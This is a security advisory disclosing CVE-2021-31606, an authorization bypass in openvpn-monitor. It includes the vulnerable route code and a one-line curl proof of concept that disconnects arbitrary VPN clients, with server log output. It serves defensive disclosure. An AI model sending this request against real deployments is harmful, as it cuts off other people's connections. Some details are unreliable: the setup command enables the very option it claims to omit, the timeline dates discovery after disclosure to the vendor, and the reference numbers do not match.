############################################################# # # COMPASS SECURITY ADVISORY # https://www.compass-security.com/research/advisories/ # ############################################################# # # Product: openvpn-monitor # Vendor: https://github.com/furlongm/openvpn-monitor # CSNC ID: CSNC-2021-009 # CVE ID: CVE-2021-31606 # Subject: Authorization Bypass # Severity: Medium # Effect: Denial of Service # Author: Emanuel Duss # Sylvain Heiniger # Date: 2021-09-22 # ############################################################# Introduction ------------ openvpn-monitor is a simple Python program to generate HTML that displays the status of an OpenVPN server, including all current connections. It uses the OpenVPN management console. It typically runs on the same host as the OpenVPN server. [0][1] During a customer project, several security vulnerabilities were discovered in this software. This advisory describes an authorization bypass which allows an attacker to disconnect arbitrary clients, even if the disconnect feature is disabled. Affected -------- - Vulnerable: openvpn-monitor <= 1.1.3 - Not vulnerable: none The vulnerability is already fixed in the source code [3], but there is no new release which contains the fix. Therefore, all currently available releases contain this vulnerability. Technical Description --------------------- Starting the openvpn-monitor application without the `OPENVPNMONITOR_SITES_0_SHOWDISCONNECT=True` option in order to disable the disconnect functionality: # docker run --rm --name openvpn-monitor --net host \ -e OPENVPNMONITOR_DEFAULT_DATETIMEFORMAT="%%H:%%M:%%S %%d/%%m/%%Y" \ -e OPENVPNMONITOR_DEFAULT_LATITUDE=-37 \ -e OPENVPNMONITOR_DEFAULT_LOGO=logo.jpg \ -e OPENVPNMONITOR_DEFAULT_LONGITUDE=144 \ -e OPENVPNMONITOR_DEFAULT_MAPS=True \ -e OPENVPNMONITOR_DEFAULT_SITE=Test \ -e OPENVPNMONITOR_SITES_0_ALIAS=UDP \ -e OPENVPNMONITOR_SITES_0_HOST=127.0.0.1 \ -e OPENVPNMONITOR_SITES_0_NAME=UDP \ -e OPENVPNMONITOR_SITES_0_PORT=5555 \ -e OPENVPNMONITOR_SITES_0_SHOWDISCONNECT=True \ -p 80:80 ruimarinho/openvpn-monitor When the openvpn-monitor application is accessed, the disconnect button is not displayed (as expected). However, there is no authorization check implemented which check if the functionality is allowed to be used or not: [CUT BY COMPASS] @app.route('/', method='POST') def post_slash(): vpn_id = request.forms.get('vpn_id') ip = request.forms.get('ip') port = request.forms.get('port') client_id = request.forms.get('client_id') return render(vpn_id=vpn_id, ip=ip, port=port, client_id=client_id) [CUT BY COMPASS] An attacker can use this to disconnect arbitrary clients: $ curl http://openvpn-monitor.example.net -d "vpn_id=UDP&ip=10.5.23.42&port=1194&client_id=5" The client will be disconnected. This can be seen in the OpenVPN server log: [CUT BY COMPASS] 2021-04-21 11:33:22 MANAGEMENT: Client connected from [AF_INET][undef]:5555 2021-04-21 11:33:22 MANAGEMENT: CMD 'version' 2021-04-21 11:33:22 MANAGEMENT: CMD 'client-kill 5' 2021-04-21 11:33:22 MANAGEMENT: CMD 'quit' 2021-04-21 11:33:22 MANAGEMENT: Client disconnected 2021-04-21 11:33:22 MANAGEMENT: Client connected from [AF_INET][undef]:5555 2021-04-21 11:33:22 MANAGEMENT: CMD 'version' 2021-04-21 11:33:22 MANAGEMENT: CMD 'state' 2021-04-21 11:33:22 MANAGEMENT: CMD 'status 3' 2021-04-21 11:33:22 MANAGEMENT: CMD 'quit' 2021-04-21 11:33:22 MANAGEMENT: Client disconnected [CUT BY COMPASS] Vulnerability Classification ---------------------------- CVSS v3.1 Metrics [4]: * CVSS Base Score: 5.8 * CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L Workaround / Fix ---------------- # openvpn-monitor Vendor Authorization checks should be implemented so that this functionality can only be used if `OPENVPNMONITOR_SITES_0_SHOWDISCONNECT=True` is enabled. This has to be enforced on the server and not on the client. # openvpn-monitor Users Users of the openvpn-monitor should either apply the patch which is available on GitHub [2] or use the latest version from the source code repository [1]. Timeline -------- 2021-05-05: Vulnerability discovered 2021-04-20: Requested CVE ID @ MITRE 2021-04-20: Contacted vendor 2021-04-22: Sent details via email to vendor 2021-04-24: Vendor confirmed and already started to work on a fix 2021-09-08: Asked vendor for updates 2021-09-08: Vendor told it's OK to publish the advisory 2021-09-22: Public disclosure References ---------- [0] http://openvpn-monitor.openbytes.ie/ [1] https://github.com/furlongm/openvpn-monitor [2] https://github.com/furlongm/openvpn-monitor/commit/ddb9d31ef0ec56f578bdacf99ebe9d68455ed8ca [3] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L&version=3.1